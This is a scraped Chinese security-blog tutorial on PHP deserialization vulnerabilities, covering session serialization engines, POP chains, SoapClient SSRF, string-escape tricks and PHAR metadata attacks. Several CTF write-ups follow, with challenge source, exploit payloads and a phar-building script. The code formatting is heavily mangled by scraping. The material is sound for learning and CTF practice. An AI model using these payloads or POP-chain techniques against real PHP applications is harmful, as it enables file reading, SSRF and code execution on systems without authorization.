only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){        $_SESSION['flag'] = $flag;    } only localhost can get flag! 

虽然call_user_func各个参数皆可控,但由于第二个参数类型不可控(定死为数组),无法做到任意代码执行。我们需要通过ssrf使服务器访问到flag.php即可获得flag.在没有可见的ssrf利用处时,可考虑php自身的ssrf,也即是php原生类SoapClient.如下

'http://vps/flag.php','uri'=>'http://vps/flag.php')); $a->azhe(); ?>  

PHP反序列化漏洞详解

所以,现在如何使程序去SSRF成为首要问题。

我们知道,php在保存session之时,会将session进行序列化,而在使用session时则会进行反序列化,可控的session值导致了序列化的内容可控。

结合php序列化引擎的知识可知,默认序列化引擎为php,该方式序列化后的结果为key|序列化结果,如下

PHP反序列化漏洞详解

而php_serialize引擎存储的结果则仅为序列化结果,如下

PHP反序列化漏洞详解

在php引擎中,|之前的内容会被当作session的键,|后的内容会在执行反序列化操作后作为session键对应的值,比如name|s:6:"4ut15m";里的name就成为了$_SESSION['name'],而s:6:"4ut15m";在执行反序列化操作后则变成了字符串4ut15m,二者结合即是$_SESSION['name']="4ut15m"

因为call_user_func的参数可控,故我们可以调用函数ini_set或者session_start来修改序列化引擎。一系列操作如下

先生成所需的序列化字符串

PHP反序列化漏洞详解

需要在序列化结果前添加一个|,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

尝试修改题目序列化引擎,ini_set无法处理数组,故用session_start("serialize_handler")

PHP反序列化漏洞详解

再访问一次该页面,则变为了默认引擎(php),可以看到序列化结果键已经不再是name,值也不再是|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;},而是SoapClient对象

PHP反序列化漏洞详解

接下来,想要使该SoapClient对象能够发起请求,就需要调用该对象的__call方法.

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');这一行代码在执行后,$a的值就成为了array(SoapClient对象,'welcome_to_the_lctf2018')

我们知道,call_user_func函数的第一个参数为数组时,它会将数组的第一个值作为类,第二个值作为方法去调用该类的方法,如下

PHP反序列化漏洞详解

__call魔术方法会在调用不存在方法的时候自动调用,故,如果能构造到call_user_func($a),则可以达到执行SoapClient->welcome_to_the_lctf2018()的效果,由于SoapClient不存在welcome_to_the_lctf2018方法,那么这里就会自动调用__call方法,如下

PHP反序列化漏洞详解

在bp中重放攻击一次,得到session

PHP反序列化漏洞详解

修改session并刷新

PHP反序列化漏洞详解

参考文献

1.N1BOOK反序列化部分

本文作者:, 转载请注明来自FreeBuf.COM

# 漏洞分析 # php反序列化漏洞 # php代码审计 # 反序列化例题

被以下专辑收录,发现更多精彩内容

+ 收入我的专辑
展开更多

评论 按时间排序

PHP反序列化漏洞详解

登录/注册后在FreeBuf发布内容哦

相关推荐

PHP反序列化漏洞详解

  • 0 文章数
  • 0 评论数
  • 0 关注者

文章目录
一、基础

    二、序列化引擎

      三、魔术方法

        四、反序列化漏洞
        • 4.1 原生类利用
        • 4.2 反序列化字符逃逸
        • 4.3 PHAR协议利用
        • 4.4 PHP引用

        五、BUGKU
        • 安慰奖

        六、BUUCTF
        • ZJCTF 2019 NiZhuanSiWei
        • MRCTF2020 Ezpop
        • CISCN2019 Day1 Web1 Dropbox
        • 网鼎杯 2020 青龙组 AreUSerialz
        • 0CTF 2016 piapiapia
        • 安洵杯 2019 easy_serialize_php
        • bestphp's revenge

        参考文献

          登录 /
          注册后在FreeBuf发布内容哦



          收入专辑

          分享文章

          分享到微信
          分享到微博
          分享到QQ
          复制链接

          收藏文章

          window.__NUXT__=function(t,e){return{layout:"articles",data:[{adminBackUrl:"manage.freebuf.com",articalId:"263710",jobPosition:t,serverData:{post_title:"PHP反序列化漏洞详解",post_author:e,nickname:e,post_date:"2021-02-18 16:37:40",post_picture:"https://image.3001.net/images/20210218/1613637455_602e274fa76c5452a4b92.png!small",category:[{name:"Web安全",slug:"web",url:"https://www.freebuf.com/articles/web"}],tag:[{name:"漏洞分析",slug:"%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90",url:"https://www.freebuf.com/tag/漏洞分析"},{name:"php反序列化漏洞",slug:"php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e",url:"https://www.freebuf.com/tag/php反序列化漏洞"},{name:"php代码审计",slug:"php%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1",url:"https://www.freebuf.com/tag/php代码审计"},{name:"反序列化例题",slug:"%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%BE%8B%E9%A2%98",url:"https://www.freebuf.com/tag/反序列化例题"}],post_desc:"因笔者水平有限,若某处有误,还请斧正。",paid_read:t,vip_read:t,paid_read_amount:"0",post_content:'

          PHP反序列化

          因笔者水平有限,若某处有误,还请斧正。

          一、基础

          为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。

          php中的序列化与反序列化函数分别为:serialize()、unserialize()

            " . serialize($a)."n";n?>n//运行结果nserialize  ->  O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";}n将结果进行url编码如下nO%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22%00azhe%00pr%22%3Bs%3A6%3A%224ut15m%22%3B%7Dn

          序列化后的结果可分为几类

          类型:dttt->d代表一个整型数字nO:dt->t对象tt->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5na:dt->t数组tt->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素ns:dt->t字符串tt-dN代表字符串长度,例如abc序列化后为s:3:"abc";ni:dt->t整型tt->d代表整型变量的值,例如300序列化后的值则为i:300;nna - arraynb - booleannd - doubleni - integerno - common objectnr - referencens - stringnC - custom objectnO - classnN - nullnR - pointer referencenU - unicode stringn

          php的session存储的也是序列化后的结果

          image-20201203150820032.png

          二、序列化引擎

          php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。

          php_serializet->与serialize函数序列化后的结果一致nphptttt->key|serialize后的结果nphp_binarytt->键名的长度对应的ascii字符+键名+serialize()函数序列化的值nn默认使用php引擎n

          使用php引擎的结果见上图

          使用php_serialize引擎的结果如下

          image-20201203151424144.png

          使用php_binary引擎的结果如下

          image-20201203151730170.png

          其中存在不可见字符,将结果进行URL编码如下

          image-20201203151632906.png

          在session文件可写的情况下,可手动写入我们想要的内容,例如

          <?phpnini_set('open_basedir','/var/www/html');nsession_save_path('/var/www/html');nsession_start();nhighlight_file(__FILE__);ninclude "flag.php";nn$banner = "--4ut15m--n";nnif($_SESSION['name']==='admin'){n    echo $flag."
          ";n}else if(isset($_GET['name']) && isset($_GET['content'])){n if(preg_match('/ph/i',$_GET['name'])){n var_dump($_GET['name']);n die('over');n }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']);n}n?>n

          该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";

          image-20201203160827416.png

          简单说一下payload.

          banner和payload拼接在一起后变为--4ut15m--n|s:3:"xxx";name|s:5:"admin";经php序列化引擎反序列化后就成为了

          $_SESSION=['--4ut15m--n' => 'xxx', 'name' => 'admin']

          三、魔术方法

          满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下

          __wakeup() //使用unserialize时触发n__sleep() //使用serialize时触发n__destruct() //对象被销毁时触发n__call() //在对象上下文中调用不可访问的方法时触发n__callStatic() //在静态上下文中调用不可访问的方法时触发n__get() //用于从不可访问的属性读取数据n__set() //用于将数据写入不可访问的属性n__isset() //在不可访问的属性上调用isset()或empty()触发n__unset() //在不可访问的属性上使用unset()时触发n__toString() //把类当作字符串使用时触发n__invoke() //当脚本尝试将对象调用为函数时触发n
          ed;n$superman->eval();n?>n//运行结果n正在实例化Superman类,这是__construct的echon你想访问ed属性,但是Superman没有这个属性,这是__get的echon你想调用eval方法,但是Superman没有这个方法,这是__call的echon正在销毁Superman对象,这是__destruct的echon

          四、反序列化漏洞

          当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。

          file = "index.php";n    }n    function __destruct(){n        echo file_get_contents($this->file);n    }n}nnunserialize($_GET['file']);n?>n

          image-20201203165333534.png

          又例如

          name = "4ut15m";n    }n    function __destruct(){n        echo $this->name;n    }n}nnclass wow{n    public $wuhusihai = "";nn    function __construct(){n        $this->wuhusihai = "wuwuwu";n    }n    function __toString(){n        $this->wuhusihai->b();n        return "ok";n    }n}nnclass fine{n    public $code = "";nn    function __call($key,$value){n        @eval($this->code);n    }n}nnunserialize($_GET['payload']);n?>n

          pop链为hit->__destruct() ----> wow->__toString() ----> fine->__call(),构造payload

          image-20201203170818126.png

          image-20201203171003157.png

          4.1 原生类利用

          l3m0n文章

          原生类即是php内置类,查看拥有所需魔术方法的类如下

          n

          结果如下

          Exception::__wakeupnException::__toStringnErrorException::__wakeupnErrorException::__toStringnGenerator::__wakeupnDateTime::__wakeupnDateTime::__set_statenDateTimeImmutable::__wakeupnDateTimeImmutable::__set_statenDateTimeZone::__wakeupnDateTimeZone::__set_statenDateInterval::__wakeupnDateInterval::__set_statenDatePeriod::__wakeupnDatePeriod::__set_statenLogicException::__wakeupnLogicException::__toStringnBadFunctionCallException::__wakeupnBadFunctionCallException::__toStringnBadMethodCallException::__wakeupnBadMethodCallException::__toStringnDomainException::__wakeupnDomainException::__toStringnInvalidArgumentException::__wakeupnInvalidArgumentException::__toStringnLengthException::__wakeupnLengthException::__toStringnOutOfRangeException::__wakeupnOutOfRangeException::__toStringnRuntimeException::__wakeupnRuntimeException::__toStringnOutOfBoundsException::__wakeupnOutOfBoundsException::__toStringnOverflowException::__wakeupnOverflowException::__toStringnRangeException::__wakeupnRangeException::__toStringnUnderflowException::__wakeupnUnderflowException::__toStringnUnexpectedValueException::__wakeupnUnexpectedValueException::__toStringnCachingIterator::__toStringnRecursiveCachingIterator::__toStringnSplFileInfo::__toStringnDirectoryIterator::__toStringnFilesystemIterator::__toStringnRecursiveDirectoryIterator::__toStringnGlobIterator::__toStringnSplFileObject::__toStringnSplTempFileObject::__toStringnSplFixedArray::__wakeupnReflectionException::__wakeupnReflectionException::__toStringnReflectionFunctionAbstract::__toStringnReflectionFunction::__toStringnReflectionParameter::__toStringnReflectionMethod::__toStringnReflectionClass::__toStringnReflectionObject::__toStringnReflectionProperty::__toStringnReflectionExtension::__toStringnReflectionZendExtension::__toStringnDOMException::__wakeupnDOMException::__toStringnPDOException::__wakeupnPDOException::__toStringnPDO::__wakeupnPDOStatement::__wakeupnSimpleXMLElement::__toStringnSimpleXMLIterator::__toStringnPharException::__wakeupnPharException::__toStringnPhar::__destructnPhar::__toStringnPharData::__destructnPharData::__toStringnPharFileInfo::__destructnPharFileInfo::__toStringnCURLFile::__wakeupnmysqli_sql_exception::__wakeupnmysqli_sql_exception::__toStringnSoapClient::__callnSoapFault::__toStringnSoapFault::__wakeup n

          Error

          image-20201214152136459.png

          将Error对象以字符串输出时会触发__toString,构造message可xss

          image-20201214152517793.png

          异常类大多都可以如此利用

          SoapClient

          __call方法可用

          'http://vps:port','location'=>'http://vps:port/'));n#echo serialize($a);n$a->azhe();n//还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头n?>n

          image-20201218162513078.png

          4.2 反序列化字符逃逸

          序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。

          序列化字符串字符增加
          id = "100";n$taoyi->name = $name;n$haha = filter(serialize($taoyi));necho "haha  --> {$haha} 
          ";n@$haha = unserialize($haha);nnif($haha->id === '3333'){n echo $flag;n}n?>n

          $taoyi->id被限定为100,但是$taoyi->name可控并且$taoyi对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'.

          正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";}n传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";}n可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。nn这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";}n可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。nn我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。nn故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。n如下图n

          image-20201204103126385.png

          payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}

          payload构造思路n先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件.n

          序列化字符串字符减少
          id = "100";n$taoyi->xixi = $xixi;n$taoyi->name = $name;n$haha = filter(serialize($taoyi));necho "haha  --> {$haha} 
          ";n@$haha = unserialize($haha);nif($haha->id === '3333'){n echo $flag;n}nn?>n

          序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。

          正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}n第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点.n因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没.n测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234n结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}n可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100n故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。n只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。n如下n

          image-20201204111022672.png

          payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}

          payload构造思路n先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38n每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。n

          4.3 PHAR协议利用

          phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.

          image-20201207140100560.png

          phar文件结构

          四部分,stub、manifest、contents、signature

          1.stubnphar文件标志,必须包含,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.之前也可添加其他内容伪造成其他文件,比如GIF89ann2.manifestn存放phar归档信息.Manifest结构如下图nn所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息.n

          image-20201207142905752.png

          phar反序列化触发函数

          php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化

          fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfilen

          生成phar文件例子如下

          startBuffering();tttttttttt//开启缓冲区n$phar->setStub("");ttttt//设置stubn$test = new pharfile();n$phar->setMetadata($test);tttttttttt//设置metadata,这一部分数据会被序列化n$phar->addFromString("azhe.txt",'test');tttttt//添加压缩文件nn$phar->stopBuffering();ttttttttttt//关闭缓冲区nn?>n

          image-20201207150309783.png

          4.4 PHP引用

          &在php中是位运算符也是引用符(&&为逻辑运算符).&可以使不同名变量指向同一个值,类似于C中的地址。

          image-20201214194911842.png

          image-20201214195353291.png

          倘若出现下述情况,即可使用引用符

          one = "azhe";n    }n}nn$a = @unserialize($_GET['payload']);n$a->two = $flag;nnif($a->one === $a->two){n    echo "flag is here:$flag";n}n?>n

          image-20201214200551279.png

          这里的__wakeup是不需要绕过的,$a->one引用了$a->two后这两者的值一定会相等,不管谁做了改变。

          序列化结果中的R:2;即是引用.

          五、BUGKU

          安慰奖

          算是反序列化入门题吧

          index.php中发现提示

          image-20201214155509815.png

          下载备份文件index.php.bak,审计

          username = $username;n        $this->cmd = $cmd;n    }n    function __wakeup()n    {n        $this->username = 'guest';n    }nn    function __destruct()n    {n        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))n        {n            exit('flag能让你这么容易拿到吗?
          ');n }n if ($this->username === 'admin')n {n // echo "
          right!
          ";n $a = `$this->cmd`;n var_dump($a);n }elsen {n echo "给你个安慰奖吧,hhh!";n die();n }n }n}n $select = $_GET['code'];n $res=unserialize(@$select);n?>n

          直接编写exp
          image-20201217173605047.png

          禁用了一些文件读取命令,曲线救国如下

          image-20201217173810194.png

          六、BUUCTF

          ZJCTF 2019 NiZhuanSiWei

          源码

          <?php  n$text = $_GET["text"];n$file = $_GET["file"];n$password = $_GET["password"];nif(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){n    echo "

          ".file_get_contents($text,'r')."";n if(preg_match("/flag/",$file)){n echo "Not now!";n exit(); n }else{n include($file); //useless.phpn $password = unserialize($password);n echo $password;n }n}nelse{n highlight_file(__FILE__);n}![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small)n?> n//考点: 基本的反序列化漏洞,php伪协议的利用n

          第一层if通过php://input满足,file通过php://filter读取useless.php

          image-20201204165520066.png

          //useless.phpnfile)){  n            echo file_get_contents($this->file); n            echo "
          ";n return ("U R SO CLOSE !///COME ON PLZ");n } n } n} n?> nn

          payload构造

          创建一个Flag对象,使得该对象的file属性为flag.phpn提交序列化字符串即可n

          image-20201204165807234.png

          image-20201204165925994.png

          MRCTF2020 Ezpop
          append($this->var);n    }n}nnclass Show{n    public $source;n    public $str;n    public function __construct($file='index.php'){n        $this->source = $file;n        echo 'Welcome to '.$this->source."
          ";n }n public function __toString(){n return $this->str->source;n }nn public function __wakeup(){n if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {n echo "hacker";n $this->source = "index.php";n }n }n}nnclass Test{n public $p;n public function __construct(){n $this->p = array();n }nn public function __get($key){n $function = $this->p;n return $function();n }n}nnif(isset($_GET['pop'])){n @unserialize($_GET['pop']);n}nelse{n $a=new Show;n highlight_file(__FILE__);n} n//考点: 基本的序列化pop链构造n

          payload构造

          思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性npreg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke.nnpayload如下n

          image-20201204173628765.png

          image-20201204173743279.png

          CISCN2019 Day1 Web1 Dropbox

          注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下

          //index.phpnnnnnnnnn网盘管理nnn    n    n    n    n    n    nnnn    <nav aria-label="breadcrumb">n    <ol class="breadcrumb">n        <li class="breadcrumb-item active">管理面板</li>n        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>n        <li class="active ml-auto"><a href="#">你好 </a></li>n    </ol>n</nav>nn<div class="top" id="toast-container"></div>nnName();n$a->Size();n?>n<pre><code>//login.phpnnnnnn  n  n  n  <title>登录nn  n  nnn  n    .bd-placeholder-img {n      font-size: 1.125rem;n      text-anchor: middle;n    }nn    @media (min-width: 768px) {n      .bd-placeholder-img-lg {n        font-size: 3.5rem;n      }n    }n  n  n  nnnn  n    

          登录

          n n n n n n

          还没有账号? 注册

          n

          © 2018-2019

          n n
          nnnnnnnnn<?php ninclude "class.php";nnif (isset($_GET['register'])) {n echo "toast('注册成功', 'info');";n}nnif (isset($_POST["username"]) && isset($_POST["password"])) {n $u = new User();n $username = (string) $_POST["username"];n $password = (string) $_POST["password"];n if (strlen($username) verify_user($username, $password)) {n $_SESSION['login'] = true;n $_SESSION['username'] = htmlentities($username);n $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";n if (!is_dir($sandbox)) {n mkdir($sandbox);n }n $_SESSION['sandbox'] = $sandbox;n echo("window.location.href='index.php';");n die();n }n echo "toast('账号或密码错误', 'warning');";n}n?>n
          //download.phpn<?php nsession_start();nif (!isset($_SESSION['login'])) {n    header("Location: login.php");n    die();n}nnif (!isset($_POST['filename'])) {n    die();n}nninclude "class.php";nini_set("open_basedir", getcwd() . ":/etc:/tmp");nnchdir($_SESSION['sandbox']);n$file = new File();n$filename = (string) $_POST['filename'];nif (strlen($filename) open($filename) && stristr($filename, "flag") === false) {n    Header("Content-type: application/octet-stream");n    Header("Content-Disposition: attachment; filename=" . basename($filename));n    echo $file->close();n} else {n    echo "File not exist";n}n?>n
          //delete.phpn<?php nsession_start();nif (!isset($_SESSION['login'])) {n    header("Location: login.php");n    die();n}nnif (!isset($_POST['filename'])) {n    die();n}nninclude "class.php";nnchdir($_SESSION['sandbox']);n$file = new File();n$filename = (string) $_POST['filename'];nif (strlen($filename) open($filename)) {n    $file->detele();n    Header("Content-type: application/json");n    $response = array("success" => true, "error" => "");n    echo json_encode($response);n} else {n    Header("Content-type: application/json");n    $response = array("success" => false, "error" => "File not exist");n    echo json_encode($response);n}n?>n
          //upload.phpn false, "error" => "Only gif/jpg/png allowed");n            Header("Content-type: application/json");n            echo json_encode($response);n            die();n    }nn    if (strlen($filename)  true, "error" => "");n        Header("Content-type: application/json");n        echo json_encode($response);n    } else {n        $response = array("success" => false, "error" => "Invaild filename");n        Header("Content-type: application/json");n        echo json_encode($response);n    }n}n?>n
          //class.phpndb = $db;n    }nn    public function user_exist($username) {n        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");n        $stmt->bind_param("s", $username);n        $stmt->execute();n        $stmt->store_result();n        $count = $stmt->num_rows;n        if ($count === 0) {n            return false;n        }n        return true;n    }nn    public function add_user($username, $password) {n        if ($this->user_exist($username)) {n            return false;n        }n        $password = sha1($password . "SiAchGHmFx");n        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");n        $stmt->bind_param("ss", $username, $password);n        $stmt->execute();n        return true;n    }nn    public function verify_user($username, $password) {n        if (!$this->user_exist($username)) {n            return false;n        }n        $password = sha1($password . "SiAchGHmFx");n        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");n        $stmt->bind_param("s", $username);n        $stmt->execute();n        $stmt->bind_result($expect);n        $stmt->fetch();n        if (isset($expect) && $expect === $password) {n            return true;n        }n        return false;n    }nn    public function __destruct() {n        $this->db->close();n    }n}nnclass FileList {n    private $files;n    private $results;n    private $funcs;nn    public function __construct($path) {n        $this->files = array();n        $this->results = array();n        $this->funcs = array();n        $filenames = scandir($path);nn        $key = array_search(".", $filenames);n        unset($filenames[$key]);n        $key = array_search("..", $filenames);n        unset($filenames[$key]);nn        foreach ($filenames as $filename) {n            $file = new File();n            $file->open($path . $filename);n            array_push($this->files, $file);n            $this->results[$file->name()] = array();n        }n    }nn    public function __call($func, $args) {n        array_push($this->funcs, $func);n        foreach ($this->files as $file) {n            $this->results[$file->name()][$func] = $file->$func();n        }n    }nn    public function __destruct() {n        $table = '

          ' . htmlentities($func) . 'Opt
          ' . htmlentities($value) . ' 下载 / 删除
          ';n $table .= '';n foreach ($this->funcs as $func) {n $table .= '';n }n $table .= '';n $table .= '';n foreach ($this->results as $filename => $result) {n $table .= '';n foreach ($result as $func => $value) {n $table .= '';n }n $table .= '';n $table .= '';n }n echo $table;n }n}nnclass File {n public $filename;nn public function open($filename) {n $this->filename = $filename;n if (file_exists($filename) && !is_dir($filename)) {n return true;n } else {n return false;n }n }nn public function name() {n return basename($this->filename);n }nn public function size() {n $size = filesize($this->filename);n $units = array(' B', ' KB', ' MB', ' GB', ' TB');n for ($i = 0; $size >= 1024 && $i filename);n }nn public function close() {n return file_get_contents($this->filename);n }n}n?> n

          先分析类文件,User类存在__destruct魔术方法,并且在其中调用$this->db->close(),再一看File类,刚好有close方法,但是User的__destruct中并未输出结果。再看FileList类,其中存在__call与__destruct.__call方法首先将调用的不存在函数$func放至FileList->funcs数组尾部,而后遍历FileList->files并且调用FileList->files->$func(),执行结果会被赋值给FileList->result.FileList->__destruct方法输出result的结果。

          很常规,该题POP链很好构造。User->__destructt--> FileList->__callt--> File->close()t--> FileList->__destruct

          在delete.php中找到程序反序列化触发点

          PHP反序列化漏洞详解

          跟进detele方法

          PHP反序列化漏洞详解

          unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。

          exp如下

          db = new FileList();nt}n}nnclass FileList{ntprivate $files;ntprivate $results;ntprivate $funcs;nntpublic function __construct(){ntt$this->files = array(new File());ntt$this->results;ntt$this->funcs;nt}n}nnclass File{ntpublic $filename = "../../../../../../flag.txt";n}nn$a = new User();n$phar = new Phar('4ut15m.phar');n$phar->startBuffering();n$phar->setStub('');n$phar->setMetadata($a);n$phar->addFromString('azhe.txt','4ut15m');nn$phar->stopBuffering();nn?>n

          PHP反序列化漏洞详解

          网鼎杯 2020 青龙组 AreUSerialz
          process();n    }nn    public function process() {n        if($this->op == "1") {n            $this->write();n        } else if($this->op == "2") {n            $res = $this->read();n            $this->output($res);n        } else {n            $this->output("Bad Hacker!");n        }n    }nn    private function write() {n        if(isset($this->filename) && isset($this->content)) {n            if(strlen((string)$this->content) > 100) {n                $this->output("Too long!");n                die();n            }n            $res = file_put_contents($this->filename, $this->content);n            if($res) $this->output("Successful!");n            else $this->output("Failed!");n        } else {n            $this->output("Failed!");n        }n    }nn    private function read() {n        $res = "";n        if(isset($this->filename)) {n            $res = file_get_contents($this->filename);n        }n        return $res;n    }nn    private function output($s) {n        echo "[Result]: 
          ";n echo $s;n }nn function __destruct() {n if($this->op === "2")n $this->op = "1";n $this->content = "";n $this->process();n }nn}nnfunction is_valid($s) {n for($i = 0; $i = 32 && ord($s[$i]) 程序只允许使用ascii码在32-125范围内的字符,满足条件就反序列化。

          process方法中规定,当op=="2"时可以读取$filename文件,op=="1"时可以写入文件.

          析构函数中规定,当op==="2"时使得op="1".

          综上可知,当使得op !=="2"但op =="2"时,可以读取文件。构造op=2可满足条件

          PHP反序列化漏洞详解

          payload构造

          因为要读取flag.php,所以使得filename='flag.php';因为要执行读取操作,所以使得op=2n类的private或protected属性在序列化后存在不可见字符,不可见字符不在可使用字符范围内(如若可用则需要将序列化后的字符串进行编码),我们可以手动修改protected属性为public属性,硬核过is_validn

          PHP反序列化漏洞详解

          PHP反序列化漏洞详解

          0CTF 2016 piapiapia

          发现www.zip,获得源码

          //index.phpn<?php ntrequire_once('class.php');ntif($_SESSION['username']) {nttheader('Location: profile.php');nttexit;nt}ntif($_POST['username'] && $_POST['password']) {ntt$username = $_POST['username'];ntt$password = $_POST['password'];nnttif(strlen($username)  16) ntttdie('Invalid user name');nnttif(strlen($password)  16) ntttdie('Invalid password');nnttif($user->login($username, $password)) {nttt$_SESSION['username'] = $username;ntttheader('Location: profile.php');ntttexit;tntt}nttelse {ntttdie('Invalid user name or password');ntt}nt}ntelse {n?>nnnn   Loginn   n   n   nnnt
          ntt ntttPHP反序列化漏洞详解nttt

          Login

          ntttntttntttntttnntttnttnt
          nnnnn
          //profile.phpnshow_profile($username);ntif($profile  == null) {nttheader('Location: update.php');nt}ntelse {ntt$profile = unserialize($profile);ntt$phone = $profile['phone'];ntt$email = $profile['email'];ntt$nickname = $profile['nickname'];ntt$photo = base64_encode(file_get_contents($profile['photo']));n?>nnnn   Profilen   n   n   nnnt
          nttPHP反序列化漏洞详解ntt

          Hi

          nttnttnt
          nnnnn
